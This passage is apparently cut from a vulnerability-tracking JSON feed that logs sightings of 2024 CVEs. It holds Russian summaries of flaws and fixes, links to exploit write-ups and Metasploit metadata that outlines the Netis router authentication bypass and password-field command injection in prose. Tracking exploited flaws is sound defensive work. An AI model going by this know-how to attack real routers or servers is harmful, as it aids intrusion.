\u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0434\u043e\u0441\u0442\u0443\u043f\u0443 \u043a \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c. \u0412 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u0431\u044b\u043b\u0430 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044f is_allowed_hostname \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c\u043e\u0433\u043e \u0434\u043e\u043c\u0435\u043d\u043d\u043e\u0433\u043e \u0438\u043c\u0435\u043d\u0438 \u0441 \"\u0431\u0435\u043b\u044b\u043c\" \u0441\u043f\u0438\u0441\u043a\u043e\u043c \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u043d\u044b\u0445 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0439.\n\n\ud83d\udc1bCVE-2024-3098, \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u0432 llama-index \u0432 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u0434\u043e 0.10.24, \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a Remote Code Execution. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u044e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430 \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u043e\u043c \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u044f\u0446\u0438\u0439 \u0441 \u043f\u043e\u0434\u043a\u043b\u0430\u0441\u0441\u043e\u043c str. \u0412 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u0431\u044b\u043b \u0438\u0437\u043c\u0435\u043d\u0435\u043d \u0441\u043f\u0438\u0441\u043e\u043a ALLOWED_BUILTINS, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0432 \u0441\u0435\u0431\u0435 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u043d\u044b\u0435 \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0435 \u043e\u0431\u044a\u0435\u043a\u0442\u044b, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u043a \u043e\u0431\u044a\u0435\u043a\u0442\u0430\u043c, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0435 \u0432\u0445\u043e\u0434\u044f\u0442 \u0432 \u043d\u0435\u0433\u043e.\n\n\ud83d\udc1bCVE-2024-3400, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u0430\u044f \u0432 \u0444\u0430\u0439\u0440\u0432\u043e\u043b\u043b\u0430\u0445 Palo Alto \u0432 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 PAN-OS 10.2, 11.0 \u0438 11.1, \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a OS Command Injection. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u043b\u0430\u0441\u044c \u0432 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430, \u043d\u0435 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0435\u043c\u0443 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e, \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0441 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 root \u043d\u0430 \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u044d\u0440\u0435. \u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u043d\u043e \u0432 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u043c security advisory. \u0412 \u0441\u0442\u0430\u0442\u044c\u0435 \u043e\u0442 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432 Unit42 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442\u0441\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2024-3400 \u0438 \u0434\u0430\u043d\u043d\u044b\u0435 \u043e\u0431 \u0443\u0441\u043f\u0435\u0448\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445.", "creation_timestamp": "2026-07-29T00:00:09.707990Z"}, {"uuid": "5d22938f-c99f-49ba-8337-f0d74bdaeb03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22263", "type": "seen", "source": "https://t.me/reverseame/4683", "content": "CVE-2024-22263: Spring Cloud Dataflow Arbitrary File Writing #SpringCloudDataflow #ArbitraryFileWriting #PatchDiffing #StaticAnalysis #LabSetup https://blog.securelayer7.net/spring-cloud-data-flow-exploit/", "creation_timestamp": "2026-07-29T12:02:12.241390Z"}, {"uuid": "1022b06d-ad02-4794-8faf-a0d47f43c513", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22108", "type": "seen", "source": "https://t.me/reverseame/4238", "content": "A christmas tale: pwning GTB Central Console (CVE-2024-22107 & CVE-2024-22108) https://adepts.of0x.cc/gtbcc-pwned/", "creation_timestamp": "2026-07-29T12:02:19.280952Z"}, {"uuid": "a7deed7d-d906-4113-aa9c-c8cd5fa7bda3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22107", "type": "seen", "source": "https://t.me/reverseame/4238", "content": "A christmas tale: pwning GTB Central Console (CVE-2024-22107 & CVE-2024-22108) https://adepts.of0x.cc/gtbcc-pwned/", "creation_timestamp": "2026-07-29T12:02:19.434546Z"}, {"uuid": "3b6f3269-9357-42f3-9d0a-5a45ce0ee45d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22263", "type": "seen", "source": "https://t.me/reverseame/4683", "content": "CVE-2024-22263: Spring Cloud Dataflow Arbitrary File Writing #SpringCloudDataflow #ArbitraryFileWriting #PatchDiffing #StaticAnalysis #LabSetup https://blog.securelayer7.net/spring-cloud-data-flow-exploit/", "creation_timestamp": "2026-07-30T00:02:19.234132Z"}, {"uuid": "e7f1b60d-ad27-439e-baac-9348b7e6efeb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22274", "type": "seen", "source": "https://t.me/hacking_Attack/139526", "content": "Exploiting CVE-2024\u201322274: A Deep Dive into VMware vCenter Server Vulnerabilities and Defense\u2026\nhttps://systemweakness.com/exploiting-cve-2024-22274-a-deep-dive-into-vmware-vcenter-server-vulnerabilities-and-defense-5d79b44ed215?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-01T20:00:31.912188Z"}, {"uuid": "87573b5d-c9bf-472e-9378-aba633e89d6c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22274", "type": "seen", "source": "https://t.me/hacking_Attack/139528", "content": "OverviewContinue reading on System Weakness \u00bb (https://systemweakness.com/exploiting-cve-2024-22274-a-deep-dive-into-vmware-vcenter-server-vulnerabilities-and-defense-5d79b44ed215?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-01T20:00:31.953787Z"}, {"uuid": "725f42f6-7e1e-4dc4-bd74-5608c9b7081e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22245", "type": "seen", "source": "https://t.me/hacking_Attack/131668", "content": "Critical Vulnerabilities in VMware EAP Uncovered\u200a\u2014\u200aUnraveling CVE-2024\u201322245\nhttps://medium.com/@elniak/critical-vulnerabilities-in-vmware-eap-uncovered-unraveling-cve-2024-22245-08746ff09907?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-01T20:00:40.066124Z"}, {"uuid": "42a0ed41-bd14-4944-af89-7484b9c6f56d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22245", "type": "seen", "source": "https://t.me/hacking_Attack/131670", "content": "Explore the critical security flaws of CVE-2024\u201322245 in VMware\u2019s Enhanced Authentication Plug-in (EAP), including arbitrary\u2026Continue reading on Medium \u00bb (https://medium.com/@elniak/critical-vulnerabilities-in-vmware-eap-uncovered-unraveling-cve-2024-22245-08746ff09907?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-01T20:00:40.116702Z"}, {"uuid": "ff4c591c-28f1-4326-a4fd-545ef3aad3fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22274", "type": "seen", "source": "https://t.me/hacking_Attack/139526", "content": "Exploiting CVE-2024\u201322274: A Deep Dive into VMware vCenter Server Vulnerabilities and Defense\u2026\nhttps://systemweakness.com/exploiting-cve-2024-22274-a-deep-dive-into-vmware-vcenter-server-vulnerabilities-and-defense-5d79b44ed215?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-02T01:00:50.619549Z"}, {"uuid": "993dee53-299f-45d9-9b7e-ec74f69910d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22274", "type": "seen", "source": "https://t.me/hacking_Attack/139528", "content": "OverviewContinue reading on System Weakness \u00bb (https://systemweakness.com/exploiting-cve-2024-22274-a-deep-dive-into-vmware-vcenter-server-vulnerabilities-and-defense-5d79b44ed215?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-02T01:00:50.673903Z"}, {"uuid": "e0a7bf69-54eb-45f2-98a6-6e637f25cb75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22245", "type": "seen", "source": "https://t.me/hacking_Attack/131668", "content": "Critical Vulnerabilities in VMware EAP Uncovered\u200a\u2014\u200aUnraveling CVE-2024\u201322245\nhttps://medium.com/@elniak/critical-vulnerabilities-in-vmware-eap-uncovered-unraveling-cve-2024-22245-08746ff09907?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-02T01:00:59.314917Z"}, {"uuid": "18fc524e-12fa-47b9-bac4-0fb63519b2c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22245", "type": "seen", "source": "https://t.me/hacking_Attack/131670", "content": "Explore the critical security flaws of CVE-2024\u201322245 in VMware\u2019s Enhanced Authentication Plug-in (EAP), including arbitrary\u2026Continue reading on Medium \u00bb (https://medium.com/@elniak/critical-vulnerabilities-in-vmware-eap-uncovered-unraveling-cve-2024-22245-08746ff09907?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-02T01:00:59.359140Z"}, {"uuid": "81385737-886b-4134-8d46-d7ae48a46d77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22274", "type": "published-proof-of-concept", "source": "Telegram/5HCtE0WkFYUA89VnXRtHIs4spfdfWNAEpm6yt5BW1f2H9os", "content": "", "creation_timestamp": "2026-09-03T00:00:37.050240Z"}, {"uuid": "6de643c1-1fbd-4c23-8dcd-2295f396027d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22939", "type": "published-proof-of-concept", "source": "Telegram/cT3ETXi8ueGY8kAtGyfu7wb0NUfCf_Oa836RYQyuDMgp6vQ", "content": "", "creation_timestamp": "2026-09-03T00:00:54.140854Z"}, {"uuid": "9190b627-7b55-40d3-b015-073fd4e422cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22274", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/139528", "content": "OverviewContinue reading on System Weakness \u00bb (https://systemweakness.com/exploiting-cve-2024-22274-a-deep-dive-into-vmware-vcenter-server-vulnerabilities-and-defense-5d79b44ed215?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-03T18:00:07.263501Z"}, {"uuid": "65575cf3-d0dc-4f28-b868-df5add1875fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22274", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/139526", "content": "Exploiting CVE-2024\u201322274: A Deep Dive into VMware vCenter Server Vulnerabilities and Defense\u2026\nhttps://systemweakness.com/exploiting-cve-2024-22274-a-deep-dive-into-vmware-vcenter-server-vulnerabilities-and-defense-5d79b44ed215?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-03T18:00:07.305868Z"}, {"uuid": "3ca843b2-8e1c-42f5-aef5-6c02d4e77666", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22245", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/131670", "content": "Explore the critical security flaws of CVE-2024\u201322245 in VMware\u2019s Enhanced Authentication Plug-in (EAP), including arbitrary\u2026Continue reading on Medium \u00bb (https://medium.com/@elniak/critical-vulnerabilities-in-vmware-eap-uncovered-unraveling-cve-2024-22245-08746ff09907?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-03T23:00:05.432902Z"}, {"uuid": "422faaae-4f68-47a2-9e80-6519cc1ccdcd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22245", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/131668", "content": "Critical Vulnerabilities in VMware EAP Uncovered\u200a\u2014\u200aUnraveling CVE-2024\u201322245\nhttps://medium.com/@elniak/critical-vulnerabilities-in-vmware-eap-uncovered-unraveling-cve-2024-22245-08746ff09907?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-03T23:00:05.473418Z"}, {"uuid": "d0e7d7ae-e178-429a-a9b5-975d0ad569e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22245", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/131670", "content": "Explore the critical security flaws of CVE-2024\u201322245 in VMware\u2019s Enhanced Authentication Plug-in (EAP), including arbitrary\u2026Continue reading on Medium \u00bb (https://medium.com/@elniak/critical-vulnerabilities-in-vmware-eap-uncovered-unraveling-cve-2024-22245-08746ff09907?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-04T00:00:09.951345Z"}, {"uuid": "b7114b60-0ee5-4dbc-80d0-ae8b5ba154ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22245", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/131668", "content": "Critical Vulnerabilities in VMware EAP Uncovered\u200a\u2014\u200aUnraveling CVE-2024\u201322245\nhttps://medium.com/@elniak/critical-vulnerabilities-in-vmware-eap-uncovered-unraveling-cve-2024-22245-08746ff09907?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-04T00:00:10.003236Z"}, {"uuid": "e4d355c7-45f5-48a7-a741-6f2323f1642b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22274", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/139528", "content": "OverviewContinue reading on System Weakness \u00bb (https://systemweakness.com/exploiting-cve-2024-22274-a-deep-dive-into-vmware-vcenter-server-vulnerabilities-and-defense-5d79b44ed215?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-04T00:00:40.908075Z"}, {"uuid": "900c40df-d1d2-4f69-9fd7-357f96e013dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22274", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/139526", "content": "Exploiting CVE-2024\u201322274: A Deep Dive into VMware vCenter Server Vulnerabilities and Defense\u2026\nhttps://systemweakness.com/exploiting-cve-2024-22274-a-deep-dive-into-vmware-vcenter-server-vulnerabilities-and-defense-5d79b44ed215?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-04T00:00:40.945187Z"}, {"uuid": "85fd7ac6-8902-48eb-a290-477e3e87bb34", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22729", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/netis_unauth_rce_cve_2024_22729.rb", "content": "{\"aliases\": [], \"arch\": \"mipsle\", \"author\": [\"h00die-gr3y \", \"Adhikara13\"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": true, \"default_credential\": false, \"description\": \"Netis router MW5360 has a command injection vulnerability via the password parameter on the login page.\\n          The vulnerability stems from improper handling of the \\\"password\\\" parameter within the router's web interface.\\n          The router's login page authorization can be bypassed by simply deleting the authorization header,\\n          leading to the vulnerability. All router firmware versions up to `V1.0.1.3442` are vulnerable.\\n          Attackers can inject a command in the 'password' parameter, encoded in base64, to exploit the command injection\\n          vulnerability. When exploited, this can lead to unauthorized command execution, potentially allowing the attacker\\n          to take control of the router.\", \"disclosure_date\": \"2024-01-11\", \"fullname\": \"exploit/linux/http/netis_unauth_rce_cve_2024_22729\", \"is_install_path\": true, \"mod_time\": \"2026-04-22 13:20:20 +0000\", \"name\": \"Netis router MW5360 unauthenticated RCE.\", \"needs_cleanup\": true, \"notes\": {\"Reliability\": [\"repeatable-session\"], \"SideEffects\": [\"ioc-in-logs\", \"artifacts-on-disk\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/exploits/linux/http/netis_unauth_rce_cve_2024_22729.rb\", \"platform\": \"Linux\", \"post_auth\": false, \"rank\": 600, \"ref_name\": \"linux/http/netis_unauth_rce_cve_2024_22729\", \"references\": [\"CVE-2024-22729\", \"URL-https://attackerkb.com/topics/MvCphsf4LN/cve-2024-22729\", \"URL-https://github.com/adhikara13/CVE/blob/main/netis_MW5360/blind%20command%20injection%20in%20password%20parameter%20in%20initial%20settings.md\"], \"rport\": 80, \"session_types\": false, \"targets\": [\"Linux Dropper\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:48:48.022920Z"}, {"uuid": "26ffd2ea-baf9-4aa3-9906-7a38c1d1a968", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22891", "type": "published-proof-of-concept", "source": "Telegram/hzUX5Z4uo0-P4BmQ24cBFoT_KuLR6K2llMGI-QCqbLel1qA", "content": "", "creation_timestamp": "2026-09-15T00:00:09.116886Z"}]}